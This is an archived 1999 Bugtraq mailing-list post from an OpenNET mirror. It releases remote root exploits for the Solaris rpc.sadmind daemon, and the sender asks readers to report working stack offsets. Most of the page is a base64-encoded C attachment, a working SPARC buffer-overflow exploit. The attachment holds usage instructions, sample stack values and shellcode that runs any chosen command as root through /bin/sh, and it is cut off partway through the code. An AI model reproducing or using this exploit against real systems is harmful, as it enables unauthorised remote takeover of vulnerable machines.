The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

sadmind exploits (remote sparc/x86)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Fri, 10 Dec 1999 14:16:23 -0800
From: Marcy Abene <geetwentythree@YAHOO.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: sadmind exploits (remote sparc/x86)

--0-1957747793-944864183=:20191
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

In the interest of full-disclosure and general anarchy
amongst the sun community, here are the remote
exploits for Solaris rpc.sadmind. (attached)

Goodness.  ttdb, cmsd, statd, mountd, pcnfsd,
nlockmgr, nisd, where does the Solaris rpc madness
end?

*Please* send me offsets that work for you, thanks!

Jennifer
__________________________________________________
Do You Yahoo!?
Thousands of Stores.  Millions of Products.  All in one place.
Yahoo! Shopping: http://shopping.yahoo.com
--0-1957747793-944864183=:20191
Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-sparc-2.c"
Content-Transfer-Encoding: base64
Content-Description: sadmindex-sparc-2.c
Content-Disposition: attachment; filename="sadmindex-sparc-2.c"

LyoqDQoqKiogIHNhZG1pbmRleCAtIFNQQVJDIFNvbGFyaXMgcmVtb3RlIHJv
b3QgZXhwbG9pdCBmb3IgL3Vzci9zYmluL3NhZG1pbmQNCioqKg0KKioqICBU
ZXN0ZWQgYW5kIGNvbmZpcm1lZCB1bmRlciBTb2xhcmlzIDIuNiBhbmQgNy4w
IChTUEFSQykNCioqKg0KKioqICBVc2FnZTogICUgc2FkbWluZGV4IC1oIGhv
c3RuYW1lIC1jIGNvbW1hbmQgLXMgc3AgWy1vIG9mZnNldF0gXA0KKioqICAg
ICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0NCioqKg0K
KioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2YgdGhlIG1h
Y2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0ZW0gYWRt
aW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21tYW5kIHRv
IHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1hY2hpbmUs
IHNwIGlzIHRoZSAlc3Agc3RhY2sgcG9pbnRlciB2YWx1ZSwgb2Zmc2V0DQoq
KiogIGlzIHRoZSBudW1iZXIgb2YgYnl0ZXMgdG8gYWRkIHRvIHNwIHRvIGNh
bGN1bGF0ZSB0aGUgZGVzaXJlZCByZXR1cm4NCioqKiAgYWRkcmVzcywgYW5k
IGFsaWdubWVudCBpcyB0aGUgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBj
b3JyZWN0bHkNCioqKiAgYWxpZ24gdGhlIGNvbnRlbnRzIG9mIHRoZSBleHBs
b2l0IGJ1ZmZlci4NCioqKg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlv
biwgdGhlIGV4cGxvaXQgd2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRo
ZQ0KKioqICByZW1vdGUgbWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAg
VGhlIGRhZW1vbiB3aWxsIGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQu
ICBTaW5jZSBwaW5naW5nIHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBh
biBleHBsb2l0DQoqKiogIGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91
IGNhbiBzYWZlbHkgb21pdCB0aGUgLWMgYW5kIC1zIG9wdGlvbnMNCioqKiAg
aWYgeW91IHVzZSAtcC4NCioqKg0KKioqICBXaGVuIHNwZWNpZnlpbmcgYSBj
b21tYW5kLCBiZSBzdXJlIHRvIHBhc3MgaXQgdG8gdGhlIGV4cGxvaXQgYXMg
YQ0KKioqICBzaW5nbGUgYXJndW1lbnQsIG5hbWVseSBlbmNsb3NlIHRoZSBj
b21tYW5kIHN0cmluZyBpbiBxdW90ZXMgaWYgaXQNCioqKiAgY29udGFpbnMg
c3BhY2VzIG9yIG90aGVyIHNwZWNpYWwgc2hlbGwgZGVsaW1pdGVyIGNoYXJh
Y3RlcnMuICBUaGUNCioqKiAgZXhwbG9pdCB3aWxsIHBhc3MgdGhpcyBzdHJp
bmcgd2l0aG91dCBtb2RpZmljYXRpb24gdG8gL2Jpbi9zaCAtYyBvbg0KKioq
ICB0aGUgcmVtb3RlIG1hY2hpbmUsIHNvIGFueSBub3JtYWxseSBhbGxvd2Vk
IEJvdXJuZSBzaGVsbCBzeW50YXggaXMNCioqKiAgYWxzbyBhbGxvd2VkIGlu
IHRoZSBjb21tYW5kIHN0cmluZy4gIFRoZSBjb21tYW5kIHN0cmluZyBhbmQg
dGhlDQoqKiogIGFzc2VtYmx5IGNvZGUgdG8gcnVuIGl0IG11c3QgZml0IGlu
c2lkZSBhIGJ1ZmZlciBvZiA1MTIgYnl0ZXMsIHNvDQoqKiogIHRoZSBjb21t
YW5kIHN0cmluZyBoYXMgYSBtYXhpbXVtIGxlbmd0aCBvZiBhYm91dCAzODAg
Ynl0ZXMgb3Igc28uDQoqKioNCioqKiAgRHVlIHRvIHRoZSBuYXR1cmUgb2Yg
dGhlIHRhcmdldCBvdmVyZmxvdyBpbiBzYWRtaW5kLCB0aGUgZXhwbG9pdCBp
cw0KKioqICBleHRyZW1lbHkgc2Vuc2l0aXZlIHRvIHRoZSAlc3Agc3RhY2sg
cG9pbnRlciB2YWx1ZSB0aGF0IGlzIHByb3ZpZGVkDQoqKiogIHdoZW4gdGhl
IGV4cGxvaXQgaXMgcnVuLiAgVGhlICVzcCBzdGFjayBwb2ludGVyIG11c3Qg
YmUgc3BlY2lmaWVkDQoqKiogIHdpdGggdGhlIGV4YWN0IHJlcXVpcmVkIHZh
bHVlLCBsZWF2aW5nIG5vIHJvb20gZm9yIGVycm9yLiAgSSBoYXZlDQoqKiog
IHByb3ZpZGVkIGNvbmZpcm1lZCB2YWx1ZXMgZm9yIFNvbGFyaXMgcnVubmlu
ZyBvbiBhIFN1biBTUEFSQ2VuZ2luZQ0KKioqICBVbHRyYSBBWGkgbWFjaGlu
ZSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5kIG9uIGEgU1BBUkNzdGF0
aW9uIDENCioqKiAgcnVubmluZyBTb2xhcmlzIDcuMCAxMC85OC4gIE9uIGVh
Y2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFydGVkIGZyb20NCioqKiAgYW4g
aW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMgc3RhcnRlZCBhdCBib290IHRp
bWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlzIGEgc3Ryb25nIHBvc3NpYmls
aXR5IHRoYXQgdGhlIGRlbW9uc3RyYXRpb24gdmFsdWVzIHdpbGwgbm90IHdv
cmsNCioqKiAgZHVlIHRvIGRpZmZlcmluZyBzZXRzIG9mIGVudmlyb25tZW50
IHZhcmlhYmxlcywgZm9yIGV4YW1wbGUgaWYgdGhlDQoqKiogIHRoZSBydW5u
aW5nIGluZXRkIG9uIHRoZSByZW1vdGUgbWFjaGluZSB3YXMgc3RhcnRlZCBt
YW51YWxseSBmcm9tIGFuDQoqKiogIGludGVyYWN0aXZlIHNoZWxsLiAgSWYg
eW91IGZpbmQgdGhhdCB0aGUgc2FtcGxlIHZhbHVlIGZvciAlc3AgZG9lcw0K
KioqICBub3Qgd29yaywgdHJ5IGFkanVzdGluZyB0aGUgdmFsdWUgYnkgLTIw
NDggdG8gMjA0OCBmcm9tIHRoZSBzYW1wbGUgaW4NCioqKiAgaW5jcmVtZW50
cyBvZiA4IGZvciBzdGFydGVycy4gIFRoZSBvZmZzZXQgcGFyYW1ldGVyIGFu
ZCB0aGUgYWxpZ25tZW50DQoqKiogIHBhcmFtZXRlciBoYXZlIGRlZmF1bHQg
dmFsdWVzIHRoYXQgd2lsbCBiZSB1c2VkIGlmIG5vIG92ZXJyaWRpbmcNCioq
KiAgdmFsdWVzIGFyZSBzcGVjaWZpZWQgb24gdGhlIGNvbW1hbmQgbGluZS4g
IFRoZSBkZWZhdWx0IHZhbHVlcyBzaG91bGQNCioqKiAgYmUgc3VpdGFibGUg
YW5kIGl0IHdpbGwgbm90IGxpa2VseSBiZSBuZWNlc3NhcnkgdG8gb3ZlcnJp
ZGUgdGhlbS4NCioqKg0KKioqICBEZW1vbnN0cmF0aW9uIHZhbHVlcyBmb3Ig
U1BBUkMgU29sYXJpczoNCioqKg0KKioqICAoMi42KSAgc2FkbWluZGV4IC1o
IGhvc3QuZXhhbXBsZS5jb20gLWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTU4
MA0KKioqICAoNy4wKSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20g
LWMgInRvdWNoIEhFSCIgLXMgMHhlZmZmOTQxOA0KKioqDQoqKiogIFRISVMg
Q09ERSBGT1IgRURVQ0FUSU9OQUwgVVNFIE9OTFkgSU4gQU4gRVRISUNBTCBN
QU5ORVINCioqKg0KKioqICBDaGVleiBXaGl6DQoqKiogIGNoZWV6YmVhc3RA
aG90bWFpbC5jb20NCioqKg0KKioqICBKdW5lIDI0LCAxOTk5DQoqKi8NCg0K
I2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5j
bHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVk
ZSA8cnBjL3JwYy5oPg0KDQojZGVmaW5lIE5FVE1HVF9QUk9HIDEwMDIzMg0K
I2RlZmluZSBORVRNR1RfVkVSUyAxMA0KI2RlZmluZSBORVRNR1RfUFJPQ19Q
SU5HIDANCiNkZWZpbmUgTkVUTUdUX1BST0NfU0VSVklDRSAxDQoNCiNkZWZp
bmUgTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQgMzANCiNkZWZpbmUgTkVUTUdU
X1VEUF9QSU5HX1JFVFJZX1RJTUVPVVQgNQ0KI2RlZmluZSBORVRNR1RfVURQ
X1NFUlZJQ0VfVElNRU9VVCAxDQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklD
RV9SRVRSWV9USU1FT1VUIDINCg0KI2RlZmluZSBORVRNR1RfSEVBREVSX1RZ
UEUgNg0KI2RlZmluZSBORVRNR1RfQVJHX0lOVCAzDQojZGVmaW5lIE5FVE1H
VF9BUkdfU1RSSU5HIDkNCiNkZWZpbmUgTkVUTUdUX0VORE9GQVJHUyAibmV0
bWd0X2VuZG9mYXJncyINCg0KI2RlZmluZSBBRE1fRldfVkVSU0lPTiAiQURN
X0ZXX1ZFUlNJT04iDQojZGVmaW5lIEFETV9DTElFTlRfRE9NQUlOICJBRE1f
Q0xJRU5UX0RPTUFJTiINCiNkZWZpbmUgQURNX0ZFTkNFICJBRE1fRkVOQ0Ui
DQoNCiNkZWZpbmUgQlVGTEVOIDEwNzYJCS8qIDI1NisyNTYrMzIrMzIrNTEy
LTEyICovDQojZGVmaW5lIEFERFJMRU4gNTYwCQkvKiAyNTYrMjU2KzMyKzMy
LTQtMTIgKi8NCiNkZWZpbmUgRlJBTUVMRU4xIDYwOA0KI2RlZmluZSBGUkFN
RUxFTjIgNDIwMA0KI2RlZmluZSBMRU4gODQNCg0KI2RlZmluZSBPRkZTRVQg
Njg4CQkvKiBkZWZhdWx0IG9mZnNldCAqLw0KI2RlZmluZSBBTElHTk1FTlQg
NAkJLyogZGVmYXVsdCBhbGlnbm1lbnQgKi8NCg0KI2RlZmluZSBOT1AgMHg4
MDFiYzAwZgkJLyogeG9yICVvNywlbzcsJWcwICovDQoNCmNoYXIgc2hlbGxb
XSA9DQovKiAgIDAgKi8gIlx4MjBceGJmXHhmZlx4ZmYiICAgICAgICAgICAg
ICAgICAvKiBibixhID8gICAgICAgICAgKi8NCi8qIHNraXA6ICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAqLw0KLyogICA0ICovICJceDIwXHhiZlx4ZmZceGZmIiAgICAgICAgICAg
ICAgICAgLyogYm4sYSA/ICAgICAgICAgICovDQovKiAgIDggKi8gIlx4N2Zc
eGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBjYWxsIHNraXAgICAg
ICAgKi8NCi8qIGV4ZWN2ZTogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyogIDEyICovICJceDkw
XHgwM1x4ZTBceDVjIiAgICAgICAgICAgICAgICAgLyogYWRkICVvNyw5Miwl
bzAgICovDQovKiAgMTYgKi8gIlx4OTJceDIyXHgyMFx4MTAiICAgICAgICAg
ICAgICAgICAvKiBzdWIgJW8wLDE2LCVvMSAgKi8NCi8qICAyMCAqLyAiXHg5
NFx4MWJceGMwXHgwZiIgICAgICAgICAgICAgICAgIC8qIHhvciAlbzcsJW83
LCVvMiAqLw0KLyogIDI0ICovICJceGVjXHgwMlx4M2ZceGYwIiAgICAgICAg
ICAgICAgICAgLyogbGQgWyVvMC0xNl0sJWw2ICovDQovKiAgMjggKi8gIlx4
YWNceDIyXHg4MFx4MTYiICAgICAgICAgICAgICAgICAvKiBzdWIgJW8yLCVs
NiwlbDYgKi8NCi8qICAzMiAqLyAiXHhhZVx4MDJceDYwXHgxMCIgICAgICAg
ICAgICAgICAgIC8qIGFkZCAlbzEsMTYsJWw3ICAqLw0KLyogIDM2ICovICJc
eGVlXHgyMlx4M2ZceGYwIiAgICAgICAgICAgICAgICAgLyogc3QgJWw3LFsl
bzAtMTZdICovDQovKiAgNDAgKi8gIlx4YWVceDA1XHhlMFx4MDgiICAgICAg
ICAgICAgICAgICAvKiBhZGQgJWw3LDgsJWw3ICAgKi8NCi8qICA0NCAqLyAi
XHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAlZzAs
WyVsNy0xXSAqLw0KLyogIDQ4ICovICJceGVlXHgyMlx4M2ZceGY0IiAgICAg
ICAgICAgICAgICAgLyogc3QgJWw3LFslbzAtMTJdICovDQovKiAgNTIgKi8g
Ilx4YWVceDA1XHhlMFx4MDMiICAgICAgICAgICAgICAgICAvKiBhZGQgJWw3
LDMsJWw3ICAgKi8NCi8qICA1NiAqLyAiXHhjMFx4MmRceGZmXHhmZiIgICAg
ICAgICAgICAgICAgIC8qIHN0YiAlZzAsWyVsNy0xXSAqLw0KLyogIDYwICov
ICJceGVlXHgyMlx4M2ZceGY4IiAgICAgICAgICAgICAgICAgLyogc3QgJWw3
LFslbzAtOF0gICovDQovKiAgNjQgKi8gIlx4YWVceDA1XHhjMFx4MTYiICAg
ICAgICAgICAgICAgICAvKiBhZGQgJWw3LCVsNiwlbDcgKi8NCi8qICA2OCAq
LyAiXHhjMFx4MmRceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIHN0YiAl
ZzAsWyVsNy0xXSAqLw0KLyogIDcyICovICJceGMwXHgyMlx4M2ZceGZjIiAg
ICAgICAgICAgICAgICAgLyogc3QgJWcwLFslbzAtNF0gICovDQovKiAgNzYg
Ki8gIlx4ODJceDEwXHgyMFx4M2IiICAgICAgICAgICAgICAgICAvKiBtb3Yg
NTksJWcxICAgICAgKi8NCi8qICA4MCAqLyAiXHg5MVx4ZDBceDIwXHgwOCIg
ICAgICAgICAgICAgICAgIC8qIHRhIDggICAgICAgICAgICAqLw0KLyogZGF0
YTogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICovDQovKiAgODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYi
ICAgICAgICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAgKi8NCi8qICA4
OCAqLyAiXHhmZlx4ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERB
VEEgICAgICAgICAgICAqLw0KLyogIDkyICovICJceGZmXHhmZlx4ZmZceGZm
IiAgICAgICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICovDQovKiAg
OTYgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE
QVRBICAgICAgICAgICAgKi8NCi8qIDEwMCAqLyAiXHgyZlx4NjJceDY5XHg2
ZVx4MmZceDczXHg2OFx4ZmYiIC8qIERBVEEgICAgICAgICAgICAqLw0KLyog
MTA4ICovICJceDJkXHg2M1x4ZmYiOyAgICAgICAgICAgICAgICAgICAgLyog
REFUQSAgICAgICAgICAgICovDQoNCmV4dGVybiBjaGFyICpvcHRhcmc7DQoN
CnN0cnVjdCBubV9zZW5kX2hlYWRlciB7DQogICAgc3RydWN0IHRpbWV2YWwg
dGltZXZhbDE7DQogICAgc3RydWN0IHRpbWV2YWwgdGltZXZhbDI7DQogICAg
c3RydWN0IHRpbWV2YWwgdGltZXZhbDM7DQogICAgdW5zaWduZWQgaW50IHVp
bnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsNCiAgICB1bnNpZ25lZCBp
bnQgdWludDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KICAgIHVuc2ln
bmVkIGludCB1aW50NTsNCiAgICBzdHJ1Y3QgaW5fYWRkciBpbmFkZHIxOw0K
ICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjI7DQogICAgdW5zaWduZWQgbG9u
ZyB1bG9uZzE7DQogICAgdW5zaWduZWQgbG9uZyB1bG9uZzI7DQogICAgc3Ry
dWN0IGluX2FkZHIgaW5hZGRyMzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25n
MzsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nNDsNCiAgICB1bnNpZ25lZCBs
b25nIHVsb25nNTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsNDsNCiAg
ICB1bnNpZ25lZCBpbnQgdWludDY7DQogICAgc3RydWN0IHRpbWV2YWwgdGlt
ZXZhbDU7DQogICAgY2hhciAqc3RyaW5nMTsNCiAgICBjaGFyICpzdHJpbmcy
Ow0KICAgIGNoYXIgKnN0cmluZzM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ3
Ow0KfTsNCg0Kc3RydWN0IG5tX3NlbmRfYXJnX2ludCB7DQogICAgY2hhciAq
c3RyaW5nMTsNCiAgICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWdu
ZWQgaW50IHVpbnQyOw0KICAgIGludCBpbnQxOw0KICAgIHVuc2lnbmVkIGlu
dCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1
Y3Qgbm1fc2VuZF9hcmdfc3RyaW5nIHsNCiAgICBjaGFyICpzdHJpbmcxOw0K
ICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
dDI7DQogICAgY2hhciAqc3RyaW5nMjsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
dDM7DQogICAgdW5zaWduZWQgaW50IHVpbnQ0Ow0KfTsNCg0Kc3RydWN0IG5t
X3NlbmRfZm9vdGVyIHsNCiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0Kc3Ry
dWN0IG5tX3NlbmQgew0KICAgIHN0cnVjdCBubV9zZW5kX2hlYWRlciBoZWFk
ZXI7DQogICAgc3RydWN0IG5tX3NlbmRfYXJnX2ludCB2ZXJzaW9uOw0KICAg
IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgc3RyaW5nOw0KICAgIHN0cnVj
dCBubV9zZW5kX2FyZ19pbnQgZmVuY2U7DQogICAgc3RydWN0IG5tX3NlbmRf
Zm9vdGVyIGZvb3RlcjsNCn07DQoNCnN0cnVjdCBubV9yZXBseSB7DQogICAg
dW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MjsN
CiAgICBjaGFyICpzdHJpbmcxOw0KfTsNCg0KYm9vbF90DQp4ZHJfbm1fc2Vu
ZF9oZWFkZXIoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fc2VuZF9oZWFkZXIgKm9i
anApDQp7DQogICAgY2hhciAqYWRkcjsNCiAgICBzaXplX3Qgc2l6ZSA9IHNp
emVvZihzdHJ1Y3QgaW5fYWRkcik7DQoNCiAgICBpZiAoIXhkcl9sb25nKHhk
cnMsICZvYmpwLT50aW1ldmFsMS50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0Up
Ow0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWwxLnR2
X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmco
eGRycywgJm9ianAtPnRpbWV2YWwyLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT
RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIu
dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDMudHZfc2VjKSkNCglyZXR1cm4gKEZB
TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
My50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91
X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0K
ICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0
dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt
PnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu
dCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
IGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NSkpDQoJcmV0dXJu
IChGQUxTRSk7DQogICAgYWRkciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIx
LnNfYWRkcjsNCiAgICBpZiAoIXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNp
emUsIHNpemUpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIgPSAoY2hh
ciAqKSAmb2JqcC0+aW5hZGRyMi5zX2FkZHI7DQogICAgaWYgKCF4ZHJfYnl0
ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4gKEZBTFNF
KTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVsb25nMSkp
DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMs
ICZvYmpwLT51bG9uZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGFkZHIg
PSAoY2hhciAqKSAmb2JqcC0+aW5hZGRyMy5zX2FkZHI7DQogICAgaWYgKCF4
ZHJfYnl0ZXMoeGRycywgJmFkZHIsICZzaXplLCBzaXplKSkNCglyZXR1cm4g
KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRycywgJm9ianAtPnVs
b25nMykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9sb25n
KHhkcnMsICZvYmpwLT51bG9uZzQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
IGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmc1KSkNCglyZXR1
cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50
aW1ldmFsNC50dl9zZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgh
eGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWw0LnR2X3VzZWMpKQ0KCXJl
dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpw
LT51aW50NikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDUudHZfc2VjKSkNCglyZXR1cm4gKEZB
TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
NS50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93
cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZB
TFNFKTsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z
dHJpbmcyKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl93cmFw
c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmczKSkNCglyZXR1cm4gKEZBTFNF
KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDcpKQ0K
CXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJv
b2xfdA0KeGRyX25tX3NlbmRfYXJnX2ludChYRFIgKnhkcnMsIHN0cnVjdCBu
bV9zZW5kX2FyZ19pbnQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfd3JhcHN0
cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJuIChGQUxTRSk7
DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkNCgly
ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
cC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2lu
dCh4ZHJzLCAmb2JqcC0+aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAg
aWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQzKSkNCglyZXR1cm4g
KEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWlu
dDQpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9
DQoNCmJvb2xfdA0KeGRyX25tX3NlbmRfYXJnX3N0cmluZyhYRFIgKnhkcnMs
IHN0cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgKm9ianApDQp7DQogICAgaWYg
KCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0
dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAt
PnVpbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2lu
dCh4ZHJzLCAmb2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAg
IGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzIpKQ0K
CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv
YmpwLT51aW50MykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
dV9pbnQoeGRycywgJm9ianAtPnVpbnQ0KSkNCglyZXR1cm4gKEZBTFNFKTsN
CiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5k
X2Zvb3RlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2Zvb3RlciAqb2Jq
cCkNCnsNCiAgICBpZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5z
dHJpbmcxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUp
Ow0KfQ0KDQpib29sX3QNCnhkcl9ubV9zZW5kKFhEUiAqeGRycywgc3RydWN0
IG5tX3NlbmQgKm9ianApDQp7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9oZWFk
ZXIoeGRycywgJm9ianAtPmhlYWRlcikpDQoJcmV0dXJuIChGQUxTRSk7DQog
ICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZvYmpwLT52ZXJz
aW9uKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5k
X2FyZ19zdHJpbmcoeGRycywgJm9ianAtPnN0cmluZykpDQoJcmV0dXJuIChG
QUxTRSk7DQogICAgaWYgKCF4ZHJfbm1fc2VuZF9hcmdfaW50KHhkcnMsICZv
YmpwLT5mZW5jZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
bm1fc2VuZF9mb290ZXIoeGRycywgJm9ianAtPmZvb3RlcikpDQoJcmV0dXJu
IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KYm9vbF90DQp4
ZHJfbm1fcmVwbHkoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fcmVwbHkgKm9ianAp
